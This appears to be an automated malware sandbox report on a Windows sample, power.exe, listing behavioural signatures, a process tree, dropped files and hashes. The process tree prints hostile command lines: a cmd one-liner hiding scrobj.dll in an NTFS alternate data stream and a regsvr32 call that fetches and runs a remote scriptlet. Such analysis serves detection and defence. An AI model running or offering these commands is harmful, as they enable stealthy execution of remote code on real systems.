Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/10/2026, 12:20

General

  • Target
    power.exe
  • Size 376KB
  • Sample261011-phy1ya1tex
  • SHA256 5f1b7e064ce2faa2368f90b7faa4003b845d7a13b30ce6a50f32a876f7201066
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\power.exe
    "C:\Users\Admin\AppData\Local\Temp\power.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nwnqf4ft\nwnqf4ft.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3096
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4BC5.tmp" "c:\Users\Admin\AppData\Local\Temp\nwnqf4ft\CSCF1DA0470DA71416091A7231968879E95.TMP"
        3⤵
          PID:3632
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "type C:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS"
        2⤵
        • Executes a command shell one-liner
        • NTFS ADS
        PID:3748
      • C:\Windows\system32\regsvr32.exe
        "C:\Windows\system32\regsvr32.exe" /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:1472
        • C:\Windows\System32\calc.exe
          "C:\Windows\System32\calc.exe"
          3⤵
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:3684
          • C:\Windows\System32\win32calc.exe
            "C:\Windows\System32\win32calc.exe"
            4⤵
              PID:4308

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            RES4BC5.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES4BC5.tmp
            • Size 1KB
            • SHA256 93662cb287bd212e47a50341462d5f57dd910c6beaad600b79660314ba344768
            • MD5 SHA1 SHA512 TLSH

            Textfile.txt:LoveADS

            • Path C:\Users\Admin\AppData\Local\Temp\Textfile.txt:LoveADS
            • Size 260KB
            • SHA256 4c1c1757ead32cfb0929d6ce40bfc4dd40c36e8842791e0aa4d988eb1110b777
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_jyqlmbim.sqs.psm1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jyqlmbim.sqs.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            nwnqf4ft.dll

            • Path C:\Users\Admin\AppData\Local\Temp\nwnqf4ft\nwnqf4ft.dll
            • Size 3KB
            • SHA256 c44dd66d5b3b5e4760c7f449641fbfa24c472e4bdbb718d6901d6c6d0493ec17
            • MD5 SHA1 SHA512 TLSH

            CSCF1DA0470DA71416091A7231968879E95.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\nwnqf4ft\CSCF1DA0470DA71416091A7231968879E95.TMP
            • Size 652B
            • SHA256 320165295ecb701dc9993e0c5c547217effe88b258d41526045355856e6fda1b
            • MD5 SHA1 SHA512 TLSH

            nwnqf4ft.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\nwnqf4ft\nwnqf4ft.0.cs
            • Size 414B
            • SHA256 797d3123888cabb289b3b7f4241ea1eb8e0cd39b26dbf45f0dbf463bc25cddee
            • MD5 SHA1 SHA512 TLSH

            nwnqf4ft.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\nwnqf4ft\nwnqf4ft.cmdline
            • Size 369B
            • SHA256 90ce07e5d107d1a84167c935bcc53c19b85010976462ebe84cf562662eb34a84
            • MD5 SHA1 SHA512 TLSH

            memory/628-26-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-29-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-9-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-8-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-18-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-21-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-7-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-6-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-25-0x0000000003230000-0x0000000003238000-memory.dmp

            memory/628-1-0x0000000000FC0000-0x0000000001024000-memory.dmp

            memory/628-27-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-5-0x0000000003350000-0x0000000003372000-memory.dmp

            memory/628-28-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-10-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-30-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-31-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-34-0x000000001BE50000-0x000000001BE6E000-memory.dmp

            memory/628-35-0x000000001D550000-0x000000001D602000-memory.dmp

            memory/628-36-0x000000001BDB0000-0x000000001BDBA000-memory.dmp

            memory/628-38-0x000000001D610000-0x000000001D634000-memory.dmp

            memory/628-37-0x000000001D610000-0x000000001D63A000-memory.dmp

            memory/628-4-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-39-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

            memory/628-0-0x00007FFE7C94F000-0x00007FFE7C950000-memory.dmp

            memory/628-43-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp